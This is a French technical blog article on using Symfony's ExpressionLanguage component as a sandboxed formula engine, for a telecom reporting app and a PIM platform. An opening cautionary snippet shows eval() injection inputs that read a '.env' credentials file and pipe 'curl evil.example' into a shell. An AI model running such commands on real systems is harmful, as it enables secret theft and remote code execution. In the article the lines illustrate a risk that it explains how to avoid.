La demande arrive toujours avec la même innocence : « il nous faudrait juste des formules, comme dans Excel ». Le métier veut calculer une moyenne entre deux colonnes, vérifier qu'une description fait au moins 200 caractères, décider qu'un code promo s'applique à un panier — mais seulement au-delà de 50 € et hors articles déjà remisés. Et il veut pouvoir changer ces règles sans ouvrir un ticket à chaque fois.
Devant cette demande, trois chemins s'offrent au développeur. Le premier mène à
eval() — et à une faille de sécurité en production. Le deuxième mène
à un tableur embarqué ou à un parseur maison — et à des années de maintenance d'un
moteur que personne n'a voulu écrire. Le troisième s'appelle
ExpressionLanguage, un composant Symfony discret qui fait
exactement ce travail, et que j'ai déployé en production dans deux contextes très
différents : une application de reporting d'un grand opérateur télécom qui a
remplacé un classeur Excel, et une plateforme SaaS PIM/DAM/CMS/Hub où ce sont
les utilisateurs eux-mêmes qui écrivent les formules. Deux échelles, deux
publics, un même composant — et, entrevue en chemin, une troisième posture qui
complète le tableau. Pas mal de leçons à la clé.
Pourquoi ExpressionLanguage — et pourquoi pas le reste
Le besoin générique s'énonce simplement : évaluer une expression écrite sous
forme de texte, contre des données de l'application. Le réflexe
eval() répond à l'énoncé, mais avec le pouvoir de tout faire — une
expression PHP arbitraire peut lire des fichiers, ouvrir des connexions,
détruire des données. Même écrite par un collègue de bonne foi, c'est une bombe
posée dans le code ; écrite par un utilisateur, c'est une porte d'entrée.
// la « formule » vient d'un champ de saisie ou d'une colonne en base…
$formula = '($prixHt + $portHt) * 1.20';
// …et ça marche. Jusqu'au jour où la formule devient :
$formula = "file_get_contents('/var/www/.env')";
$formula = "exec('curl evil.example | sh')";
// eval() exécutera n'importe laquelle avec le même enthousiasme
return eval("return {$formula};");
Et non, filtrer ne suffit pas : une liste noire de fonctions interdites est une course perdue d'avance — PHP offre mille chemins détournés vers le même appel, des fonctions variables aux callbacks en passant par la réflexion.
ExpressionLanguage prend le problème à l'envers : plutôt qu'un langage complet
qu'on tenterait de restreindre, c'est un langage minuscule qu'on
étend — un DSL au sens strict. Sa syntaxe couvre l'arithmétique, les
comparaisons, la logique booléenne, les ternaires et le null-coalescing, la
concaténation de chaînes, des opérateurs comme in ou
matches, l'accès aux propriétés et aux tableaux — et s'arrête là :
pas de boucles, pas d'affectation, pas d'I/O. Aucune fonction n'existe tant qu'on
ne l'a pas enregistrée explicitement. Une formule ne peut toucher que les
variables qu'on lui passe et les fonctions qu'on lui donne : la sandbox n'est
pas une couche de protection ajoutée, c'est la construction même du composant.
En prime, l'expression est parsée en un arbre de syntaxe — un AST — que
l'on peut mettre en cache, inspecter et parcourir. Les deux retours d'expérience
qui suivent exploitent chacun une de ces propriétés.
Cas n°1 : remplacer le classeur Excel d'une équipe d'experts
Premier contexte, chez le grand opérateur télécom de cette série d'articles : une application web qui a remplacé un classeur Excel de reporting technique. L'écran reproduit la logique du classeur — des onglets, des grilles, des cellules saisies par des experts — et une partie des cellules est calculée à partir des autres, formules à l'appui :
avg(mesures.f3, mesures.g3) # moyenne de deux cellules
divide(synthese.c13, synthese.c8) # ratio, protégé contre la division par zéro
plusall(mesures.d4, mesures.e4, mesures.f4)
Les formules vivent dans le code — ce sont les développeurs qui les écrivent, avec le métier — mais leur évaluation pose deux problèmes que tout utilisateur d'Excel connaît sans le savoir.
Le vide doit se propager, pas exploser
Dans un classeur, une cellule vide ne fait pas planter la feuille : les formules qui en dépendent affichent simplement un résultat vide. Un rapport en cours de saisie est toujours incomplet — si chaque formule levait une erreur dès qu'un opérande manquait, l'application serait inutilisable avant la dernière cellule remplie. Les fonctions enregistrées sont donc toutes null-safe : elles acceptent des opérandes absents et propagent le vide au lieu de crasher.
function calculation_divide(?float $v1, ?float $v2, ?float $default = null): ?float
{
// opérande manquant ou division par zéro : on propage le défaut, pas une erreur
if (null === $v1 || null === $v2 || 0.0 === $v2) {
return $default;
}
return $v1 / $v2;
}
Ce choix paraît anodin ; il est structurant. C'est lui qui permet de recalculer tout le rapport à chaque sauvegarde, quel que soit son état de complétude — la sémantique du tableur, retrouvée côté serveur.
Toutes les fonctions n'exigent pas ce soin, cela dit. Les helpers purement
arithmétiques s'enregistrent en une ligne avec
ExpressionFunction::fromPhp(), qui enrobe une fonction PHP native —
et son second argument la rebaptise au passage, de quoi offrir un vocabulaire
dans la langue du métier :
$el->addFunction(ExpressionFunction::fromPhp('round', 'arrondi'));
$el->addFunction(ExpressionFunction::fromPhp('ceil', 'plafond'));
$el->addFunction(ExpressionFunction::fromPhp('floor', 'plancher'));
Le raccourci a sa contrepartie — une fonction native n'est pas null-safe — donc on le réserve aux opérandes déjà normalisés, et on garde le wrapper maison dès qu'une valeur peut manquer.
L'ordre de calcul : un solveur itératif plutôt qu'un graphe
Second problème : les formules dépendent les unes des autres. Une cellule de synthèse fait la moyenne de ratios, qui divisent eux-mêmes des sommes. Excel résout ça avec un graphe de dépendances et un tri topologique ; la tentation est grande de l'imiter. La solution retenue est plus simple — un solveur itératif à convergence :
public function tick(Report $report, callable $evaluate): void
{
// tente de résoudre chaque formule restante ; garde les autres pour le prochain tour
$this->formulas = array_filter($this->formulas, function (Formula $formula) use ($report, $evaluate): bool {
if (false === $this->canSolve($formula)) {
return true;
}
$formula->save($report, $evaluate($formula->expression));
$this->markAsSolved($formula);
return false;
});
}
$solver = Solver::create();
$tick = 0;
do {
$before = $solver->countRemaining();
$solver->tick($report, fn(string $expression) => $this->el->evaluate($expression, $values));
$after = $solver->countRemaining();
} while (0 < $after && $after !== $before && ++$tick < 10);
À chaque tick, le solveur résout les formules dont toutes les références
de cellules sont déjà connues — les cellules saisies au départ, puis les
calculées de proche en proche. Les chaînes de dépendances réelles font deux ou
trois niveaux : la grille converge en une poignée de tours. La condition d'arrêt
la plus fiable n'est d'ailleurs pas le nombre de tours mais l'absence de
progrès : comparer le nombre de formules restantes avant et après un
passage signale le vrai blocage — si un tour entier ne résout plus rien, c'est
qu'il ne reste que des cas insolubles, référence manquante ou dépendance
circulaire, et le garde-fou $tick < 10 n'est plus qu'une ceinture
de sécurité. Une dépendance circulaire ne bloque donc pas l'application : elle
laisse simplement quelques cellules vides — exactement comme le ferait un
classeur affichant une erreur de référence circulaire. Vingt lignes de code,
zéro structure de graphe, et un comportement
dégradé qui reste compréhensible par l'utilisateur : c'est le genre de
simplicité qui se défend en revue de code.
Cas n°2 : quand ce sont les utilisateurs qui écrivent les formules
Deuxième contexte, une plateforme SaaS PIM sur mesure : des fiches produit multi-langues, multi-canaux, et des règles de gestion qui changent d'un client à l'autre. Ici, impossible de mettre les formules dans le code : ce sont les administrateurs de la plateforme — pas des développeurs — qui définissent leurs règles de complétude et leurs attributs calculés, directement dans l'interface :
has_value('description', 'fr_FR', 'web')
and string_length(value_text('description', 'fr_FR', 'web')) >= 200
Le changement de public change tout. Une formule écrite par un développeur passe par une revue de code ; une formule écrite par un utilisateur arrive en production sans autre filet que ceux qu'on a construits. Quatre chantiers en découlent.
Un vocabulaire métier, pas un langage technique
La plateforme enregistre une soixantaine de fonctions, et leur conception est un
travail de produit autant que de code : value(),
has_value() et leurs variantes typées (value_text,
value_number, value_date…), des fonctions de
dictionnaires, de manipulation de chaînes, d'URL de médias, et des prédicats de
contexte comme is_locale() ou is_channel(). L'utilisateur
manipule ses concepts — attribut, locale, canal — jamais ceux de la
base de données. Cette frontière est la vraie valeur du montage : le vocabulaire
est une API produit, versionnée et documentée comme telle, et tout ce qui se
trouve derrière peut être refactoré sans casser une seule formule client.
Valider à la saisie, pas à l'exécution
Une formule syntaxiquement fausse doit être rejetée au moment où l'utilisateur la tape — pas découverte à minuit, lors du recalcul des complétudes. Une contrainte de validation Symfony s'en charge, en demandant au moteur de linter sans évaluer :
try {
$this->el->lint($value, [], Parser::IGNORE_UNKNOWN_VARIABLES);
} catch (SyntaxError) {
$this->context->addViolation('workflow.rule');
}
Le lint attrape la syntaxe, pas le sens — value('poids') sur un
produit qui n'a pas d'attribut poids reste possible. C'est le rôle du second
filet : à l'exécution, les fonctions lèvent des exceptions typées
(valeur manquante, valeur invalide) que le moteur intercepte et journalise avec
la formule en cause. Une règle mal écrite produit une erreur localisée et
explicable à l'utilisateur — jamais une page blanche, jamais un recalcul global
en échec. Même les warnings PHP sont convertis en exceptions le temps de
l'évaluation, pour qu'aucune formule ne puisse polluer silencieusement les logs.
Parser une fois, évaluer des millions de fois
Le coût d'ExpressionLanguage n'est pas où on l'attend : évaluer un AST est bon marché, c'est le parsing du texte qui coûte. Or une règle de complétude s'évalue sur chaque produit, dans chaque locale, sur chaque canal — la même formule des dizaines de milliers de fois. D'où un cache d'expressions parsées, partagé entre toutes les instances du moteur :
final class FormulaParser implements ResetInterface
{
/** @var array<string, ParsedExpression> */
private array $cache = [];
public function get(string $expression, ExpressionLanguage $el, array $names): ParsedExpression
{
return $this->cache[$expression] ??= $el->parse($expression, $names);
}
public function reset(): void
{
$this->cache = [];
}
}
Le détail qui rend ce partage possible : l'AST ne dépend que des noms
des fonctions, pas de leurs implémentations. Les moteurs instanciés par locale
et par canal enregistrent les mêmes noms avec des closures différentes — le
résultat du parsing est identique, donc réutilisable partout. Et le
ResetInterface n'est pas décoratif : dans un worker qui tourne en
continu, un cache sans purge est une fuite mémoire en puissance ; Symfony le
vide automatiquement entre deux traitements.
L'AST comme graphe de dépendances gratuit
Dernier chantier, le plus élégant : quand un attribut change, quelles formules
faut-il réévaluer ? Plutôt que de demander à l'utilisateur de déclarer ses
dépendances — il se tromperait — la plateforme les lit dans
l'AST : un parcours des nœuds de fonctions suffit à extraire tous les
attributs qu'une formule consomme, puisque chaque accès passe nécessairement
par value('…') et ses variantes. Le graphe de dépendances que le
cas n°1 avait évité de construire, le cas n°2 l'obtient gratuitement — déduit
du texte même de la formule, impossible à désynchroniser. C'est la récompense
d'avoir choisi un composant qui expose son arbre plutôt qu'une boîte noire qui
évalue des chaînes.
Ce que le métier y gagne
Sous la technique, le contrat mérite d'être nommé, parce que c'est lui qui justifie l'investissement. Un moteur de formules trace une frontière nette entre deux vitesses d'évolution : les formules, que le métier change seul, sans déploiement, sans ticket, sans développeur ; et les fonctions, qui constituent le vocabulaire, évoluent au rythme des releases et restent sous revue de code. Une nouvelle règle de complétude sur la plateforme PIM est en production dans la minute. Un nouveau mot du vocabulaire est une décision d'API, pesée comme telle.
Cette frontière est exactement ce qu'Excel ne sait pas offrir : le classeur mélange les données, les formules et la présentation dans un fichier que personne ne versionne, où une cellule écrasée passe inaperçue pendant des mois. Le moteur de formules garde la souplesse — le métier écrit ses règles — et rapatrie tout le reste côté application : validation, historique, droits, tests, journalisation. C'est la réponse longue à la demande innocente du départ : oui, vous aurez vos formules comme dans Excel — mais versionnées, validées à la saisie et incapables de faire tomber la production.
Un mot sur une troisième posture, croisée sur une plateforme SaaS de gestion
de programmes immobiliers. Là, ni les développeurs ni les utilisateurs
n'écrivent les formules : c'est l'application qui les génère,
par concaténation, à partir de son modèle de données. Une cascade HT → TVA →
TTC, des sommes par catégorie, une marge — autant de formules émises à la
volée, par exemple "100 * {prixTtc} / (100 + {tauxTva})", puis
confiées au même solveur. ExpressionLanguage devient alors une
représentation intermédiaire : il ne sert plus à ouvrir les règles au
métier, mais à donner au tableur une sémantique de recalcul que du PHP figé
n'aurait pas offerte. Trois publics — développeurs, utilisateurs, machine — un
seul composant.
Bonus : l'éditeur de formules côté interface
Reste un chantier de la plateforme PIM, côté interface celui-là, qui
conditionne l'adoption de tout le reste : si le métier écrit ses formules, il
les écrit quelque part — et un <textarea> nu est la
garantie de formules fausses et d'utilisateurs découragés. L'interface embarque
donc un vrai éditeur, construit avec CodeMirror : coloration syntaxique du
langage d'expressions — un tokenizer d'une quarantaine de lignes suffit pour un
langage aussi petit, inutile de dégainer une grammaire complète — et surtout une
autocomplétion qui connaît le vocabulaire :
const completions: Completion[] = [
// les mots-clés du langage
{ label: "and", type: "keyword" },
{ label: "or", type: "keyword" },
// une fonction du vocabulaire, avec ses arguments obligatoires pré-remplis
{
label: "has_value",
type: "function",
info: "Vérifie qu'un attribut a une valeur pour une locale et un canal",
apply: 'has_value("attribute", "locale", "channel")',
},
// un attribut du client, avec son libellé traduit
{
label: "description",
type: "enum",
info: "Description longue",
},
// … générées en réalité depuis le catalogue de fonctions
// et la liste des attributs du client
];
const state = EditorState.create({
doc: formula,
extensions: [
expressionLanguage, // le tokenizer maison
autocompletion({ override: [completeFromList(completions)] }),
syntaxHighlighting(highlightStyle),
],
});
Toute la valeur est dans l'origine des suggestions. Les fonctions viennent du
même catalogue que celui qui les enregistre côté serveur — noms, arguments,
descriptions traduites — si bien que l'autocomplétion ne peut pas s'écarter du
vocabulaire réel : un mot ajouté au DSL apparaît dans l'éditeur sans qu'on y
pense. Et les attributs proposés sont ceux du client, chargés depuis son
catalogue : l'utilisateur qui tape desc se voit proposer
sa description, avec son libellé dans sa langue. Le DSL parle la langue
du métier jusque dans l'éditeur — c'est souvent ce qui sépare une fonctionnalité
livrée d'une fonctionnalité utilisée.
Conclusion
Deux contextes détaillés, une troisième posture entrevue, le même composant. Côté opérateur télécom, une grille de reporting dont les formules vivent dans le code, des fonctions null-safe qui retrouvent la sémantique du tableur, et un solveur itératif de vingt lignes qui converge sans graphe de dépendances. Côté plateforme SaaS, des formules écrites par les utilisateurs, un vocabulaire métier d'une soixantaine de fonctions, un lint à la saisie, un cache d'AST partagé, des dépendances déduites de l'arbre lui-même et un éditeur qui autocomplète ce vocabulaire. Et, entre les deux, une plateforme immobilière où c'est l'application elle-même qui écrit les formules : développeur, utilisateur ou machine, le composant épouse les trois.
Dans tous les cas, la décision initiale est identique et tient en une phrase : ne jamais évaluer du PHP, ne jamais réinventer un parseur. ExpressionLanguage occupe précisément cette case — assez petit pour être sûr, assez extensible pour porter un vocabulaire métier complet, assez transparent pour qu'on exploite son AST. La prochaine fois que quelqu'un demande « juste des formules, comme dans Excel », c'est probablement la réponse qu'il attend sans le savoir.